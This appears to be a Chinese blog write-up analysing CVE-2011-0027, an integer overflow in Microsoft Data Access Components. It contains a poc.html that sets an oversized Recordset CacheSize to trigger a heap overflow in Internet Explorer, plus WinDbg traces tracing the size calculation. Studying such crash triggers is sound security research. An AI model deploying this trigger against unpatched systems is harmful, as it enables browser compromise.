-
-
[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析
-
2021-8-1 18:22 10360
-
0. 前言
这篇文章对CVE-2011-0027整数溢出漏洞进行了分析,之前在没有系统看过0day安全之前也曾经分析过一个整数溢出漏洞,只不过导致溢出的运算不太一样,感兴趣的可以去看一下那篇文章。
在分析这个漏洞的过程中,花费精力最多的其实是环境的搭建,因为漏洞已经比较老了,遇到了各种坑。之前的漏洞分析最晚在周四也能完成,这次到周四才把环境搭建好。
本文首先对MDAC进行了简单的介绍,然后花费了一定篇幅说明了搭建环境过程中遇到的各种问题,之后大致按照《漏洞战争》中的流程对漏洞进行了调试分析。总体来说漏洞原理其实并不复杂,只是环境搭建花费了很多时间。
1. 先决知识
1.1 漏洞简介
在MDAC处理RecordSet
时,没有正确验证其指定缓冲区大小的CacheSize
属性,如果属性值过大,会导致整数溢出,造成实际分配的空间大小小于原来指定的内存空间。由于漏洞发生在堆上,最终会导致堆溢出。
1.2 MDAC是什么
MDAC全程是Microsoft Data Access Components
,即微软数据库访问组件。它为应用程序访问数据库提供了一个标准的接口。
MDAC在应用程序层使用的编程语言接口叫做ActiveX Data Objects(ADO)
,使用ADO可以建立Connection
对象,表示一个对数据库的会话连接,Connection
对象包含一个Execute
方法,应用程序通过这个方法执行想要的操作。ADO还支持Command
对象,可以使用Command
对象建立一个参数化的命令并执行;Recodset
对象代表的就是数据库中表格形式的数据,Execute
或者Command
执行后返回的数据就是Recordset
格式的,Recordset
对象支持各种用于控制数据的选项。通常来说,Recordset
对象表示的是整行数据,或者一行数据中的其中几列,而访问单独的列要使用Field
对象。虽然通过RecordSet
每次只能访问一行的数据,但是这并不表示每次访问的时候都需要访问一次数据库,RecordSet
可以缓存多行数据,而CacheSize
就表示了它可以缓存的数据大小。
更详细的关于ADO的信息可以查看参考资料3。
1.3 进一步的知识点
在HTML中可以使用<XML>标签插入需要的数据,并提供方法访问这些数据,这一过程实际上就是在使用MDAC对数据库进行访问,这里使用的对象就是上面介绍的ADO。
因此可以在访问XML中的数据时使用我们上面介绍的一些对象和方法的名称,也可以在这一过程中,触发CacheSize
中存在的整数溢出漏洞。
2. 漏洞分析
2.0 关于环境配置(绝望的一周)
这个东西我搞了一周,终于在周四得到了正确的异常和symbol信息……中间遇到各种问题:操作系统版本的问题、Windbg版本的问题、IE的版本问题、symbol找不到……
- 操作系统:我先后换了四个版本的操作系统,Win7 的32位和64位,Win7 SP1的64位以及WinXP SP3。其中Win7 SP1中的IE版本偏高无法触发异常;Win7的系统在调试的时候!heap总是找不到wow64.pdb。然后我开始用WinXP进行调试……
- IE版本:IE的版本要小于8.0.7601。
- Windbg版本问题:如果是在Win XP上面调试,直接使用最新的Windbg是不行的,
!heap
显示堆信息也会出问题,具体可以查看这篇文章。所以最后在网上找了很久,找到了一个6.6.07.5的版本,这个版本可以在WinXP上面使用
但是……
后来发现在Winxp下调试的时候输出的调试信息会和正确的地址有误差,我也不知道是Windbg版本的问题还是符号文件有问题;与此同时,我也发现Win7 64位上面的符号文件是可以正常下载的,wow64.pdb也在正确的位置上,就是不知道为什么会报错。正当我几近绝望的时候,在stackoverflow上面搜索到了这样一条回复:
My Windbg is 6.3.9600. I think you attach to some process, not open a wow64 process dump. If I attach to a wow64 process using 32bit windbg, all the commands can works fine. But when I open a wow64 process dump, both 32bit and 64bit windbg can not work. – Leon Nov 17 '14 at 5:08
感谢Leon,我突然意识到了我的问题,我选择的Windbg的位数可能是错的。因为用的是64位的虚拟机,所以我自然而然的选择了64位的Windbg。最终我安装了32位的Windbg,成功得到了正确的调试信息。
Windbg 位数选择:
- 如果你的调试主机运行的是32位版本的windows,使用32位的调试工具(不管此时被调试的目标机是 x86-based 还是 x64-based)
- 如果你的调试主机使用x64-based的处理器,并且运行64位的windows,请参考如下规则:
- 如果你在分析dump文件,你可以使用32位或者64位的调试工具集。(不管dump文件是用户态的还是内核态的,也不管这个dump文件是在 x86-based 还是 x64-based的平台上抓的。)
- 如果你在进行实时内核调试,你可以使用32位或者64位的调试工具集(不管此时被调试的目标机是 x86-based 还是 x64-based)
- 如果你在进行实时用户态调试,并且调试器也在同一台机器上,对于64位的代码和32位的 WOW64代码都需要使用64位的调试工具集。使用 .effmach.aspx)命令设置调试器的模式。
- 如果你在实时调试32位的用户态代码,但是这些代码运行在一个单独的目标机器上,使用32位的调试工具集。
2.1 调试代码
以下是调试代码,保存成poc.html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <html xmlns:t = "urn:schemas-microsoft-com:time" > <script language = 'javascript' > function Start() { localxmlid1 = document.getElementById( 'xmlid1' ).recordset; localxmlid1.CacheSize = 0x40000358 ; for (var i = 0 ; i < 0x100000 ; i + + ) { localxmlid1.AddNew([ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ], [ "c" ]); localxmlid1.MoveFirst(); } } < / script> <body onLoad = "window.setTimeout(Start, 100);" id = "bodyid" > <?xml version = "1.0" encoding = "utf-8" standalone = "yes" ?> <XML ID = "xmlid1" > <Devices> <Device> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA / > < / Device> < / Devices> < / XML> < / body> < / html> |
2.2确定函数的对应关系
之前只在分析MS06-055这个漏洞的时候有过调试IE的经历,在已经确认漏洞所在文件名时,可以直接根据漏洞相关信息在Function name
中进行搜索,确定相关函数地址,然后在该地址处下断点进行调试。
在《漏洞战争》中,还讲到了另外一种调试的方法,在谷歌中搜索:【关键词】 site:https://www.geoffchappell.com
我在测试的时候一开始只搜到两个结果,最关键的那个没有搜索到,后来换了一个代理地址,就成功了,(lll¬ω¬)
这样搜索的目的是为了找到在IE中存在的和recordset
有关的类方法,因为需要在对应的方法处设置断点进行调试。
根据搜索结果,得到了三个和recordset
有关的类:
1 2 3 4 5 6 7 | CEventObj::get_recordset CEventObj::putref_recordset CGenericElement::get_recordset CObjectElement::get_recordset CObjectElement::putref_recordset |
其中CEventObj
是为html中event
对象提供的接口,可以忽略不记,代码中是一个获取recordset
的行为,所以最终要在CGenericElement::get_recordset
和CObjectElement::get_recordset
上下断点。
poc.html打开之后,设置好断点,继续执行,程序断在了CGenericElement::get_recordset
这个函数上,说明代码中localxmlid1 = document.getElementById('xmlid1').recordset;
这个语句对应的是CGenericElement::get_recordset
函数。
2.3 开始调试
先确定一下漏洞发生的位置,还是使用之前漏洞分析时介绍的方法,为iexplor.exe设置页堆:
1 2 3 | C:\Documents and Settings\test> "C:\Documents and Settings\test\Desktop\Global Flags.lnk" - i iexplore.exe + hpa Current Registry Settings for iexplore.exe executable are: 02000000 hpa - Enable page heap |
打开poc.html,根据IE的默认安全设置,此时JS脚本是不会执行的,需要额外的步骤进行确认。这时使用windbg附加到iexplore.exe上,继续执行,再在IE上面"允许阻止的内容",此时就会发生异常:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | (a14.a2c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 0000036b ebx = 0000035b ecx = 00000000 edx = 00000001 esi = 0eace000 edi = 00000000 eip = 720f746f esp = 0848e744 ebp = 0848e748 iopl = 0 nv up ei pl nz na po nc cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00010202 mshtml!CImpIRowset::HRowNumber2HROWQuiet + 0x23 : 720f746f 8906 mov dword ptr [esi],eax ds: 002b : 0eace000 = ???????? 0 : 005 > !heap - p - a 0eace000 address 0eace000 found in _DPH_HEAP_ROOT @ ea21000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) ea22750: eacd298 d64 - eacd000 2000 74be8e89 verifier!AVrfDebugPageHeapAllocate + 0x00000229 779c02fe ntdll!RtlDebugAllocateHeap + 0x00000030 7797ac4b ntdll!RtlpAllocateHeap + 0x000000c4 77923b4e ntdll!RtlAllocateHeap + 0x0000023a 7171975d MSDART!MpHeapAlloc + 0x00000029 715e06e7 msado15!CRecordGroup::AllocateHRowRange + 0x00000085 715e0650 msado15!CRecordset::PrepareForFetch + 0x000000e2 716744ae msado15!CRecordset::MoveAbsolute + 0x000003e3 716080a5 msado15!CRecordset::_MoveFirst + 0x0000007d 71677957 msado15!CRecordset::MoveFirst + 0x00000221 715efde6 msado15!CRecordset::Invoke + 0x00001560 7182db38 jscript!IDispatchInvoke2 + 0x000000f0 7182da8c jscript!IDispatchInvoke + 0x0000006a 7182d9ff jscript!InvokeDispatch + 0x000000a9 7182db8a jscript!VAR::InvokeByName + 0x00000093 7182d8c8 jscript!VAR::InvokeDispName + 0x0000007d 7182d96f jscript!VAR::InvokeByDispID + 0x000000ce 7182e3e7 jscript!CScriptRuntime::Run + 0x00002b80 71825c9d jscript!ScrFncObj::CallWithFrameOnStack + 0x000000ce 71825bfb jscript!ScrFncObj::Call + 0x0000008d 71825e11 jscript!CSession::Execute + 0x0000015f 7181f3ee jscript!NameTbl::InvokeDef + 0x000001b5 7181ea2e jscript!NameTbl::InvokeEx + 0x0000012c 718196de jscript!NameTbl::Invoke + 0x00000070 71e2aa7b mshtml!CWindow::ExecuteTimeoutScript + 0x00000087 71e2ab66 mshtml!CWindow::FireTimeOut + 0x000000b6 71e56af7 mshtml!OnTimer + 0x0000003d 71e51e57 mshtml!GlobalWndProc + 0x00000183 75c06238 USER32!InternalCallWinProc + 0x00000023 75c068ea USER32!UserCallWinProcCheckWow + 0x00000109 75c07d31 USER32!DispatchMessageWorker + 0x000003bc 75c07dfa USER32!DispatchMessageW + 0x0000000f |
书中使用!heap -p -a
指令显示出了具体的栈回溯信息,之前进行其他漏洞分析的时候没发现这条指令这么好用,b( ̄▽ ̄)d。
从输出信息中可以看出堆块起始地址是0xeacd298
,大小为0xd64
,所以在写到0xeace000
的时候就超过这个堆块的范围了。
我这里的windbg输出好像是有一些问题,函数名后面的偏移量是错误的,可能我下载的symbol还是有些问题,所以我这里的分析步骤也有一些调整。
从栈回溯中可以看到异常发生在调用CRecordset::MoveFirst
之后,而CRecordset::MoveFirst
又调用了CRecordGroup::AllocateHRowRange
,从函数名看这应该是一个分配空间的函数,所以我打算在这里下一个断点,查看一下这个函数的参数情况。
但是在我在CRecordset::PrepareForFetch+0x000000e2
下断点的时候,程序并没有断在正确的位置,而是断在了
1 2 3 4 5 6 | Breakpoint 1 hit eax = 00000001 ebx = 00000001 ecx = 0d8afd70 edx = 00000000 esi = 0d8afd70 edi = 73a09730 eip = 724106d1 esp = 0833ed90 ebp = 0833ed9c iopl = 0 nv up ei pl nz na po nc cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00000202 msado15!CRecordGroup::AllocateHRowRange + 0x6f : 724106d1 8b0d10f04c72 mov ecx,dword ptr [msado15!g_hHeapHandle ( 724cf010 )] ds: 002b : 724cf010 = 0d840000 |
因此我直接断在CRecordset::PrepareForFetch
,F10向前步进了几步,到达了CRecordGroup::AllocateHRowRange
的调用位置:
1 2 3 4 5 6 | 0 : 005 > p eax = 00000000 ebx = 00000000 ecx = 0d2cfd70 edx = 00000000 esi = 0d2cfc48 edi = 00000000 eip = 71f2064b esp = 086eee5c ebp = 086eee6c iopl = 0 nv up ei pl zr na pe nc cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00000246 msado15!CRecordset::PrepareForFetch + 0xdd : 71f2064b e80f000000 call msado15!CRecordGroup::AllocateHRowRange ( 71f2065f ) |
第一次中断的时候参数不对,继续执行,直到第三次断在这里的时候,查看esp:
1 2 3 4 5 6 7 8 9 | 0 : 005 > dd esp 0875ec08 40000358 0875ec48 00000000 0bf1fc48 0875ec18 0875ec5c 71f644ae 40000358 0875ec48 0875ec28 00000001 00000001 0bf1fc48 00000000 0875ec38 0875ec60 743cc2f3 00000000 743cc2fb 0875ec48 00000000 00000000 0bf0ffa4 00000012 0875ec58 0075ec78 0875ecb8 71ef80a5 00000000 0875ec68 00000001 71f8f3c0 00000000 8b4eb1ba 0875ec78 0bf1fc54 0bf1fc48 0bf23f01 0875ecb4 |
可以看到第一个参数是40000358
,就是poc中设置的CacheSize
的大小。
这时候在CRecordGroup::AllocateHRowRange+0x00000085
设置一个断点,继续执行
1 2 3 4 5 6 7 8 9 10 11 12 13 | 0 : 005 > g Breakpoint 2 hit eax = 00000d64 ebx = 40000358 ecx = 0beb0000 edx = 0beb2c98 esi = 0bf1fd70 edi = 728f9730 eip = 71ed06e4 esp = 0875ebec ebp = 0875ec00 iopl = 0 nv up ei pl nz na po nc cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00000202 msado15!CRecordGroup::AllocateHRowRange + 0x82 : 71ed06e4 51 push ecx 0 : 005 > p eax = 00000d64 ebx = 40000358 ecx = 0beb0000 edx = 0beb2c98 esi = 0bf1fd70 edi = 728f9730 eip = 71ed06e5 esp = 0875ebe8 ebp = 0875ec00 iopl = 0 nv up ei pl nz na po nc cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00000202 msado15!CRecordGroup::AllocateHRowRange + 0x83 : 71ed06e5 ffd7 call edi {MSDART!MpHeapAlloc ( 728f9730 )} |
MpHeapAlloc
的参数应该和HeapAlloc
的参数差不多:
1 2 3 4 5 | DECLSPEC_ALLOCATOR LPVOID HeapAlloc( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ); |
看一下栈中元素的内容:
1 2 3 4 5 6 7 8 9 | 0 : 005 > dd esp 0875ebe8 0beb0000 00a00000 00000d64 00000000 0875ebf8 0bf1fc48 00000012 0875ec18 71ed0650 0875ec08 40000358 0875ec48 00000000 0bf1fc48 0875ec18 0875ec5c 71f644ae 40000358 0875ec48 0875ec28 00000001 00000001 0bf1fc48 00000000 0875ec38 0875ec60 743cc2f3 00000000 743cc2fb 0875ec48 00000000 00000000 0bf0ffa4 00000012 0875ec58 0075ec78 0875ecb8 71ef80a5 00000000 |
第三个参数书d64
,就是分配的堆块大小。看一下这个参数是怎么来的:
1 2 3 4 5 6 7 8 9 10 | 0 : 005 > ub 71ed06e5 msado15!CRecordGroup::AllocateHRowRange + 0x64 : 71ed06c6 8bc7 mov eax,edi 71ed06c8 8b3dfc10ec71 mov edi,dword ptr [msado15!_imp__MpHeapAlloc ( 71ec10fc )] 71ed06ce 89460c mov dword ptr [esi + 0Ch ],eax 71ed06d1 8b0d10f0f871 mov ecx,dword ptr [msado15!g_hHeapHandle ( 71f8f010 )] 71ed06d7 8d048504000000 lea eax,[eax * 4 + 4 ] 71ed06de 50 push eax 71ed06df 680000a000 push 0A00000h 71ed06e4 51 push ecx |
可以看到edi → eax → eax*4+4 → 0xd64
这样一个计算过程,所以需要判断edi
的值是多少,但是edi
的值已经被MpHeapAlloc
的地址覆盖了,所以需要再次调试。上面也说了,不知道为什么,windbg给出的偏移量是有问题的,所以我直接在CRecordGroup::AllocateHRowRange
下断点,也是第三次中断的时候,单步到达mov eax, edi
这条指令:
1 2 3 4 5 6 | 0 : 005 > p eax = 00000001 ebx = 40000358 ecx = 779236fa edx = 0e9a2c98 esi = 0ea0fd70 edi = 40000358 eip = 725b06c6 esp = 0845eeec ebp = 0845eef8 iopl = 0 nv up ei pl nz na po nc cs = 0023 ss = 002b ds = 002b es = 002b fs = 0053 gs = 002b efl = 00000202 msado15!CRecordGroup::AllocateHRowRange + 0x64 : 725b06c6 8bc7 mov eax,edi |
可以看到此时edi的值为40000358
,正是我们在代中设置的CacheSize
的值。40000358*4+4=100000d64
,由于寄存器大小只有四个字节,发生了整数溢出,得到的结果就是d64
。
3. 总结
这次漏洞分析学习到的是通过!heap -p -a ADDR
得到栈回溯信息,从而确定堆溢出的位置和具体信息;以及怎样确定IE中编程使用的函数与底层API函数的对应关系,从而便于漏洞分析。还有在分析之前,环境搭建踩到的很多个坑,下次新的环境搭建就会更有经验了。
4. 参考资料
5. 资料分享
在整个环境搭建过程了,在网上找到了几个很好的资料和资源,虽然最后可能没用到,但是还是分享给大家,自己也做一个存档:
如果有的下载地址已经无法访问,一定要善用internet archive,有些资源地址有历史快照。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法